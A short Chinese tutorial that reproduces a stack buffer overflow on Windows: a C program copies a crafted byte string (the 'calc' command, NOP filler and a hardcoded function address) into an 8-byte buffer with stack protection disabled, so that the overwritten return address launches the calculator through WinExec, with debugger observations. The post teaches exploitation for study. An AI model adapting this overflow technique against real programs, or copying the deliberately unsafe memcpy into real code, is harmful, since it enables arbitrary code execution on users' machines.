二进制漏洞——栈溢出复现


栈布局如下:

  • 可以看出,要构造栈溢出需要将函数内部成员长度突破EBP并覆盖到返回地址处即可得到执行。构造代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <windows.h>

__declspec(safebuffers) void OverFlow(char *);
__declspec(dllexport) BOOL MyWinExec(char *,UINT);
int main(int argc,char *argv[])
{
char Buf[]="\x63\x61\x6C\x63\x00\x00\x00\x00\x90\x90\x90\x90"
"\x5B\x10\x40\x00\x04\xFF\x12\x00\x05\x00\x00\x00";
char test[8];
OverFlow(Buf);
}
__declspec(safebuffers) void OverFlow(char *Buf)
{
char testBuf[8];
memcpy(testBuf,Buf,32);
}
__declspec(dllexport) BOOL MyWinExec(char *name,UINT flag)
{
WinExec((LPCSTR)name,flag);
return true;
}

代码的目的在于通过memcpy函数将Buf数组拷入OverFlow函数的堆栈空间、并将MyWinExec函数的地址覆盖到OverFlow执行完后的返回地址,实现调用WinExec弹出计算器。

  • 运行效果:

  • OD调试:

    可以看到当执行完 rep movsd指令,堆栈窗口的EBP被覆盖为90909090,返回地址被覆盖为MyWinExec函数地址。并且构造好了WinExec函数参数。

这就是常见的栈溢出导致任意代码执行。